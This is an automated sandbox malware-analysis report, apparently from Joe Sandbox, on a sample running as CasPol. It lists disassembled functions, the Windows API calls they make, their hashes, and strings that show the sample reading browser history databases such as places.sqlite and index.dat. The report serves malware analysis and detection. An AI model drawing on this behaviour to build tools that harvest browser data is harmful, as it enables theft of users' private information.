                                                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                                                  • _mbscpy.MSVCRT(0045E298,00000000,00000155,?,00405340,?,00000000,004055B5,?,00000000,00405522,?,?,?,00000000,00000000), ref: 00405250
                                                                                                                                                                                                  • _mbscat.MSVCRT ref: 0040525B
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(0045DBE0,0045E298,00000060,00000000), ref: 00405266
                                                                                                                                                                                                    • Part of subcall function 00405211: GetProcAddress.KERNEL32(0045DBE0,?,00405282,00000000), ref: 00405217
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressLibraryLoadProc$DirectorySystem_mbscat_mbscpymemsetwcscatwcscpy
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 966727022-0
                                                                                                                                                                                                  • Opcode ID: aa271fa985e038ed7aa7a673401608462c82e67ac2ecc87e69baa60a0a084fe3
                                                                                                                                                                                                  • Instruction ID: 606e4c6bb64acde45ccb9f726b040251bc13cbada001f714d968da5dd22dddd0
                                                                                                                                                                                                  • Opcode Fuzzy Hash: aa271fa985e038ed7aa7a673401608462c82e67ac2ecc87e69baa60a0a084fe3
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 52212171A80F00DADA10BF769C4BB1F2694DF50715B10046FB158FA2D2EBBC95419A9D
                                                                                                                                                                                                  Function 0040E4B2 Relevance: 4.6, APIs: 3, Instructions: 87fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040E01E: OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                                                                                                                                                                                                    • Part of subcall function 0040E01E: GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                                                                                                                                                                                                    • Part of subcall function 0040E01E: DuplicateHandle.KERNEL32(?,00000104,00000000), ref: 0040E0BF
                                                                                                                                                                                                    • Part of subcall function 0040E01E: GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                                                                                                                                                                                                    • Part of subcall function 0040E01E: CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                                                                                                                                                                                                    • Part of subcall function 0040E01E: MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                                                                                                                                                                                                    • Part of subcall function 0040E01E: WriteFile.KERNELBASE(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                                                                                                                                                                                                    • Part of subcall function 0040E01E: UnmapViewOfFile.KERNELBASE(00000000), ref: 0040E135
                                                                                                                                                                                                    • Part of subcall function 0040E01E: CloseHandle.KERNELBASE(?), ref: 0040E13E
                                                                                                                                                                                                  • CloseHandle.KERNELBASE(000000FF), ref: 0040E582
                                                                                                                                                                                                    • Part of subcall function 0040E2AB: memset.MSVCRT ref: 0040E380
                                                                                                                                                                                                    • Part of subcall function 0040E2AB: wcschr.MSVCRT ref: 0040E3B8
                                                                                                                                                                                                    • Part of subcall function 0040E2AB: memcpy.MSVCRT(?,-00000121,00000008,0044E518,00000000,00000000,756F13E0), ref: 0040E3EC
                                                                                                                                                                                                  • DeleteFileW.KERNELBASE(?,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E5A3
                                                                                                                                                                                                  • CloseHandle.KERNEL32(000000FF), ref: 0040E5CA
                                                                                                                                                                                                    • Part of subcall function 0040E175: memset.MSVCRT ref: 0040E1BD
                                                                                                                                                                                                    • Part of subcall function 0040E175: _snwprintf.MSVCRT ref: 0040E257
                                                                                                                                                                                                    • Part of subcall function 0040E175: free.MSVCRT ref: 0040E28B
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$Handle$Close$ProcessViewmemset$CreateCurrentDeleteDuplicateMappingOpenSizeUnmapWrite_snwprintffreememcpywcschr
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1979745280-0
                                                                                                                                                                                                  • Opcode ID: 8c4b04af935ef543e183fc2d5fdeec50da417ae7152dfd79b37e36c3b45d6897
                                                                                                                                                                                                  • Instruction ID: 90d235a97b45fa8760f9e747b2c38a4e83ddeae1161d8ec943a7631d31c9d9e7
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8c4b04af935ef543e183fc2d5fdeec50da417ae7152dfd79b37e36c3b45d6897
                                                                                                                                                                                                  • Instruction Fuzzy Hash: DA312CB1C00618ABCF60DF96CD456CEF7B8AF44318F1006AB9518B31A1DB755E95CF58
                                                                                                                                                                                                  Function 00403A16 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 67COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C09
                                                                                                                                                                                                    • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C1E
                                                                                                                                                                                                    • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C47
                                                                                                                                                                                                    • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C70
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403A55
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                                                    • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                                                    • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                                                                                                                                    • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A908
                                                                                                                                                                                                    • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A92B
                                                                                                                                                                                                    • Part of subcall function 0040A8D0: memcpy.MSVCRT(?,?,000000FF,00000000,?,?,00000000,?,0040320A,00000000,000000FF), ref: 0040A94F
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memsetwcscatwcslen$free$AttributesFilememcpywcscpy
                                                                                                                                                                                                  • String ID: history.dat$places.sqlite
                                                                                                                                                                                                  • API String ID: 2641622041-467022611
                                                                                                                                                                                                  • Opcode ID: ff38290cf6d73649d3c52fc0ad95bc2cdf601f157f84f60878f9098853983ee3
                                                                                                                                                                                                  • Instruction ID: 4d52d99a2018a06e8b3479be55870673e402391ac5db5fe9af26a684ed702786
                                                                                                                                                                                                  • Opcode Fuzzy Hash: ff38290cf6d73649d3c52fc0ad95bc2cdf601f157f84f60878f9098853983ee3
                                                                                                                                                                                                  • Instruction Fuzzy Hash: CA112EB2A0111866DB10FA66CD4AACE77BCAF54354F1001B7B915B20C2EB3CAF45CA69
                                                                                                                                                                                                  Function 004175ED Relevance: 4.5, APIs: 3, Instructions: 49fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00417570: SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00417591
                                                                                                                                                                                                    • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A2
                                                                                                                                                                                                    • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A8
                                                                                                                                                                                                  • ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 0041761D
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00417627
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLast$File$PointerRead
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 839530781-0
                                                                                                                                                                                                  • Opcode ID: 35ac1a26cfbf5729ffddcbfd3a0d39ca45c1cff254cac5b3720273d0b32ffa80
                                                                                                                                                                                                  • Instruction ID: c9208e3d43fc8ff2949f7201360c8f82def2114e122364bdeb0a9035ecfb973e
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 35ac1a26cfbf5729ffddcbfd3a0d39ca45c1cff254cac5b3720273d0b32ffa80
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D001A236208204BBEB008F69DC45BDA3B78FB153B4F100427F908C6640E275D89096EA
                                                                                                                                                                                                  Function 0040C1D3 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FileFindFirst
                                                                                                                                                                                                  • String ID: *.*$index.dat
                                                                                                                                                                                                  • API String ID: 1974802433-2863569691
                                                                                                                                                                                                  • Opcode ID: da4ae6558bc3f7d8c9357f2fa5faf2f590160579c2a5e59c58801196d12f8aed
                                                                                                                                                                                                  • Instruction ID: 5c3219b8572ff4376619b1de75d6d1d1b7443a793578eadcc31bed7d77429009
                                                                                                                                                                                                  • Opcode Fuzzy Hash: da4ae6558bc3f7d8c9357f2fa5faf2f590160579c2a5e59c58801196d12f8aed
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0E01257180125895EB20E761DC467DF766C9F04314F5002FB9818F21D6E7389F958F9A
                                                                                                                                                                                                  Function 00417570 Relevance: 4.5, APIs: 3, Instructions: 30COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00417591
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 004175A2
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 004175A8
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLast$FilePointer
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1156039329-0
                                                                                                                                                                                                  • Opcode ID: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                                                                                                                                                                                                  • Instruction ID: d6bca62a971eeae6b8c8b5ba9af71e52dcee60bc35e592f51b1cb5e4efccb3e3
                                                                                                                                                                                                  • Opcode Fuzzy Hash: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 03F03071918115FBCB009B75DC009AA7ABAFB05360B104726E822D7690E730E9409AA8
                                                                                                                                                                                                  Function 0040A02C Relevance: 4.5, APIs: 3, Instructions: 26filetimeCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000), ref: 0040A044
                                                                                                                                                                                                  • GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0040A061
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$CloseCreateHandleTime
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3397143404-0
                                                                                                                                                                                                  • Opcode ID: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                                                                                                                                                                                                  • Instruction ID: 1a7e7c0172e67e076cb3c0c47f72e507911c66c01d2121fa3096849e88919459
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 23E04F3624036077E2311B2BAC0CF4B2E69FBCBB21F150639F565B21E086704915C665
                                                                                                                                                                                                  Function 00409A45 Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetTempPathW.KERNEL32(00000104,?), ref: 00409A5C
                                                                                                                                                                                                  • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                                                                                                                                                                                                  • GetTempFileNameW.KERNELBASE(?,0040B827,00000000,?), ref: 00409A85
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Temp$DirectoryFileNamePathWindows
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1125800050-0
                                                                                                                                                                                                  • Opcode ID: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                                                                                                                                                                                                  • Instruction ID: b144c37017a21c6b5a3d1d2b3cfc872714830df517851edcd0bc871ed666fd71
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                                                                                                                                                                                                  • Instruction Fuzzy Hash: ACE0927A500218A7DB109B61DC4DFC777BCFB45304F0001B1B945E2161EB349A848BA8
                                                                                                                                                                                                  Function 004175B7 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 24sleepCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseHandleSleep
                                                                                                                                                                                                  • String ID: }A
                                                                                                                                                                                                  • API String ID: 252777609-2138825249
                                                                                                                                                                                                  • Opcode ID: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                                                                                                                                                                                                  • Instruction ID: 75b622f9be81829505acbf4f2e76dfbd2ea822dc2a3448742147a61f3b6dc806
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                                                                                                                                                                                                  • Instruction Fuzzy Hash: B7E0CD3B1045156ED500577DDCC099773E9EF892347144226F171C25D0C6759C828524
                                                                                                                                                                                                  Function 004099F4 Relevance: 3.8, APIs: 3, Instructions: 38COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • malloc.MSVCRT ref: 00409A10
                                                                                                                                                                                                  • memcpy.MSVCRT(00000000,?,?,?,?,004027EB,00000004,?,?,?,00401F8F,00000000), ref: 00409A28
                                                                                                                                                                                                  • free.MSVCRT ref: 00409A31
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: freemallocmemcpy
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3056473165-0
                                                                                                                                                                                                  • Opcode ID: a8c2b4a2abbe370f156afd1ac3a64450955b5e367f985048e5f3f029e510ba1a
                                                                                                                                                                                                  • Instruction ID: 1240433d41d023da9ba75aa62d017d874606d7cfbee4c78203c9aa8101697722
                                                                                                                                                                                                  • Opcode Fuzzy Hash: a8c2b4a2abbe370f156afd1ac3a64450955b5e367f985048e5f3f029e510ba1a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 88F0E9727092219FC708AE75A98180BB79DAF55314B12482FF404E3282D7389C50CB58
                                                                                                                                                                                                  Function 00437371 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 243COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID: d
                                                                                                                                                                                                  • API String ID: 0-2564639436
                                                                                                                                                                                                  • Opcode ID: 9081757c99ca3a842b21ef208fcf0aba28da60ac56b45099a1a2f4719e1e1e22
                                                                                                                                                                                                  • Instruction ID: 98c7df9677761670a5e344a1c7628a8b006f0a2246df1cf6f5c5c4488f8f87fd
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9081757c99ca3a842b21ef208fcf0aba28da60ac56b45099a1a2f4719e1e1e22
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4591ABB0508302AFDB20DF19D88196FBBE4BF88358F50192FF88497251D778D985CB9A
                                                                                                                                                                                                  Function 0041EED2 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 174COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset
                                                                                                                                                                                                  • String ID: BINARY
                                                                                                                                                                                                  • API String ID: 2221118986-907554435
                                                                                                                                                                                                  • Opcode ID: 791c3fd1504af4fac70d2b15fe323b793bb873d26b5eb9345bfe372344e0595c
                                                                                                                                                                                                  • Instruction ID: 089a0534c11c2c8a1092ab46fa13594887108ded84822111f9e073e703b485f9
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 791c3fd1504af4fac70d2b15fe323b793bb873d26b5eb9345bfe372344e0595c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 41518B71A047059FDB21CF69C881BEA7BE4EF48350F14446AF849CB342E738D995CBA9
                                                                                                                                                                                                  Function 0041268E Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 72COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _wcsicmp
                                                                                                                                                                                                  • String ID: /stext
                                                                                                                                                                                                  • API String ID: 2081463915-3817206916
                                                                                                                                                                                                  • Opcode ID: e32263b5b8ee2531379a68aaf94d61f4c2e86babe20e9cb478eb73a56fae033c
                                                                                                                                                                                                  • Instruction ID: 10e6e7fbaeb1b3fbdbf907bfc38f809d5841ace5bac79d7196eddb000c1bc607
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e32263b5b8ee2531379a68aaf94d61f4c2e86babe20e9cb478eb73a56fae033c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 19218E30B00605AFD704EF6ACAC1AD9F7A9FF44304F10416AA419D7342DB79ADA18B95
                                                                                                                                                                                                  Function 00409529 Relevance: 3.1, APIs: 2, Instructions: 66COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 004096D5
                                                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,00000143,00000000,00000000,00000000,?,00409690,00000000,00408801,?,?,00000143,?,?,00000143), ref: 00409552
                                                                                                                                                                                                  • CloseHandle.KERNELBASE(00000000), ref: 0040957A
                                                                                                                                                                                                    • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                                                                                                    • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$??2@CloseCreateHandleReadSize
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1023896661-0
                                                                                                                                                                                                  • Opcode ID: 517a28336922631f1c28e20ccf3750fd377d8614a795a490cf559f5829b7d7c1
                                                                                                                                                                                                  • Instruction ID: f35f9952f6e959c636c436af82c7d55a8b84e599ec35ab47be9645748316c481
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 517a28336922631f1c28e20ccf3750fd377d8614a795a490cf559f5829b7d7c1
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0D11D671A00608BFCB129F2ACC8585F7BA5EF94350B14843FF415AB392DB75DE40CA58
                                                                                                                                                                                                  Function 0040CC26 Relevance: 3.1, APIs: 2, Instructions: 53COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 004096D5
                                                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                                                                                                                                                                                                    • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                                                                                                    • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                                                                                                    • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB63
                                                                                                                                                                                                    • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB88
                                                                                                                                                                                                  • CloseHandle.KERNELBASE(?), ref: 0040CC98
                                                                                                                                                                                                    • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT(00000000,00401B44,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040B052
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$ByteCharMultiWide$??2@??3@CloseCreateHandleReadSize
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2445788494-0
                                                                                                                                                                                                  • Opcode ID: c9e98542c376da042cc7e9fe0c2757e169e3ab3aa14d13962e5d64e4fd764852
                                                                                                                                                                                                  • Instruction ID: dc8783d9a6c7baf78a377756874cfbd60b78407a6d3acdf6d1052ad5173bbb79
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c9e98542c376da042cc7e9fe0c2757e169e3ab3aa14d13962e5d64e4fd764852
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 91118275804208AFDB10AF6ADC45C8A7F75FF01364711C27AF525A72A1D6349A18CBA5
                                                                                                                                                                                                  Function 004152C6 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 27COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • failed to allocate %u bytes of memory, xrefs: 004152F0
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: malloc
                                                                                                                                                                                                  • String ID: failed to allocate %u bytes of memory
                                                                                                                                                                                                  • API String ID: 2803490479-1168259600
                                                                                                                                                                                                  • Opcode ID: 5362f241c04528c046f9391a2b70be4ceaf2b9bead8481f91e416c113c2d710c
                                                                                                                                                                                                  • Instruction ID: 101c51dc2fc609bd9d1e0073b1fda66f00508c6688545faad3e4fa21ce9dc4bd
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5362f241c04528c046f9391a2b70be4ceaf2b9bead8481f91e416c113c2d710c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 11E0DFB7B02A12A3C200561AED01AC667959FC122572B013BF92CD3681E638D89687A9
                                                                                                                                                                                                  Function 0041BC3B Relevance: 2.7, APIs: 2, Instructions: 195COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memcmpmemset
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1065087418-0
                                                                                                                                                                                                  • Opcode ID: c380604b195766abe84e73715a049d0373e74049267bc02831dab12048305386
                                                                                                                                                                                                  • Instruction ID: cf105cae5e27f97c9cd1c3f46a8d5e16e2707a712041142e317bfb3d1f631299
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c380604b195766abe84e73715a049d0373e74049267bc02831dab12048305386
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2A615B71A01349EBDB14EFA495815EEB7B4EB04308F1440AFE609D3241E738AED4DB99
                                                                                                                                                                                                  Function 004104FB Relevance: 2.6, APIs: 2, Instructions: 140COMMON
                                                                                                                                                                                                  Download Yara Rule
